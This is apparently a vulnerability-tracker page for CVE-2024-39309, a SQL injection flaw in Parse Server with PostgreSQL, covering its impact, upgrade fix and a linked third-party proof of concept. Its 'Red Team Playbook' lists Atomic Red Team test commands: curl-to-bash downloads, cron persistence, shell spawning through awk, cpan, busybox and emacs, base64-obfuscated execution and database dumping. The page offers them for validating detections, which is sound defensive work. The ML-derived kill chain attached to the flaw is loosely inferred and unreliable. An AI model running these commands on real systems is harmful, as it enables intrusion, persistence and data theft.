CVE-2024-39309

CRITICAL POC TTE 462d Pub 01/07 Upd 02/08

Overview

This vulnerability is a SQL injection flaw rooted in insufficient input validation within the PostgreSQL database adapter of Parse Server. The detection algorithm for malicious SQL payloads fails to properly sanitize or parameterize user inputs when Parse Server interacts with PostgreSQL, allowing crafted queries to manipulate backend database commands. The affected component is the database query processing layer of Parse Server versions prior to 6.5.7 and 7.1.0 when configured to use PostgreSQL.

Vulnerability Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. A vulnerability in versions prior to 6.5.7 and 7.1.0 allows SQL injection when Parse Server is configured to use the PostgreSQL database. The algorithm to detect SQL injection has been improved in versions 6.5.7 and 7.1.0. No known workarounds are available.

Impact

An unauthenticated remote attacker can execute arbitrary SQL commands on the PostgreSQL backend, potentially leading to full database compromise including data exfiltration, modification, or deletion. This can result in complete backend data breach or service disruption. The attack requires network access to the Parse Server instance configured with PostgreSQL and no user interaction or privileges are necessary, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N.

Solution

Upgrade Parse Server to version 6.5.7 or later, or 7.1.0 or later, where the SQL injection detection algorithm has been improved. Refer to the official GitHub security advisory GHSA-c2hr-cqg6-8j6r and pull requests #9167 and #9168 for detailed patch information and instructions. No workarounds are available; applying the vendor-provided patches is the only recommended remediation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Parse Server arises from improper handling of SQL queries when configured to use PostgreSQL as the database backend. This flaw allows an attacker to manipulate input data in such a way that they can inject malicious SQL code into the queries executed by the server. Specifically, the vulnerability stems from the lack of adequate input validation and sanitization, which permits attackers to craft inputs that can alter the intended SQL commands. The affected versions prior to 6.5.7 and 7.1.0 are particularly susceptible, as they do not implement the improved detection algorithms that were introduced in subsequent releases. This oversight in input handling can lead to unauthorized access to sensitive data, data manipulation, or even complete control over the database.

Attack vectors for exploiting this vulnerability are varied and can be executed through multiple channels. An attacker could leverage web forms, API endpoints, or any other input fields that interact with the database. For instance, by submitting specially crafted requests that contain SQL injection payloads, an attacker could extract sensitive information such as user credentials, personal data, or even administrative privileges. Additionally, if the application has insufficient logging or monitoring, the attacker may be able to exploit this vulnerability without immediate detection. Given the nature of SQL injection attacks, the potential for exploitation is high, particularly in environments where the Parse Server is exposed to the internet or where user input is not rigorously validated.

The real-world impact of this vulnerability can be severe, especially for organizations that rely on Parse Server for their backend operations. Successful exploitation could lead to significant data breaches, resulting in the exposure of sensitive information that could harm both the organization and its users. The business risks associated with such breaches include financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the costs associated with incident response, remediation, and public relations efforts can escalate quickly, making it imperative for organizations to address this vulnerability promptly.

To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the latest versions of Parse Server that incorporate the improved SQL injection detection algorithms. Regularly updating software components is a fundamental best practice in cybersecurity, as it ensures that known vulnerabilities are patched. Additionally, implementing robust input validation and sanitization measures can significantly reduce the risk of SQL injection attacks. Organizations should also consider employing web application firewalls (WAFs) to provide an additional layer of protection against injection attacks. Monitoring and logging access to the database can help detect anomalous behavior, allowing for quicker incident response should an attack occur.

In conclusion, the vulnerability in Parse Server presents a critical risk for organizations utilizing this open-source backend framework. The potential for SQL injection attacks underscores the need for rigorous security practices, including timely updates, input validation, and proactive monitoring. By addressing these vulnerabilities and implementing comprehensive security measures, organizations can better protect their data and maintain the trust of their users.

Affected Products

No CPE information available.

Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
HeavyGhost-le/POC_SQL_injection_in_Parse_Server_prior_6.5.7_-_7.1.0
Advanced PostgreSQL database enumeration tool exploiting CVE-2024-39309 in Parse Server - Comprehensive SQL injection ex...
HeavyGhost-le 1 1 2025-10-07 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2025-10-07
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

SQL Injection
100% sql_injection
Authentication Bypass
74% auth_bypass
Remote Code Execution
35% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS
T1005 Data from Local System Kill Chain collection ESXi, Linux, macOS, Network Devices, Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-7 Blind SQL Injection
48%
High High
CAPEC-110 SQL Injection through SOAP Parameter Tampering
46%
High Very High
CAPEC-108 Command Line Execution through SQL Injection
46%
Low Very High
CAPEC-109 Object Relational Mapping Injection
46%
Low High
CAPEC-66 SQL Injection
46%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1005 Copy Apple Notes database files using AppleScript macOS Shell
This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
Command (Shell)
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
T1005 Find and dump sqlite databases (Linux) Linux Bash
An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
Command (Bash)
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
T1005 Search files of interest and save them to a single zip file (Windows) Windows PowerShell
This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
Command (PowerShell)
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}" 
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
  param (
    [string]$directory
  )
  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
    $fileExtensions -contains $_.Extension.ToLower()
  }
  return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
  $foundFilePaths = $foundFiles.FullName
  Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

  Write-Host "Zip file created: $outputZip\data.zip"
  } else {
      Write-Host "No files found with the specified extensions."
  }
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-39309
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/parse-community/parse-server/security/advisories/GHSA-c2hr-cqg6-8j6r
github.com
GitHub CVE x_refsource_MISC
https://github.com/parse-community/parse-server/pull/9167
github.com
GitHub CVE x_refsource_MISC
https://github.com/parse-community/parse-server/pull/9168
github.com
GitHub CVE x_refsource_MISC
https://github.com/parse-community/parse-server/commit/2edf1e4c0363af01e97a7fbc97694f851b7d1ff3
github.com
GitHub CVE x_refsource_MISC
https://github.com/parse-community/parse-server/commit/f332d54577608c5ad927255e06d8c694e2e0ff5b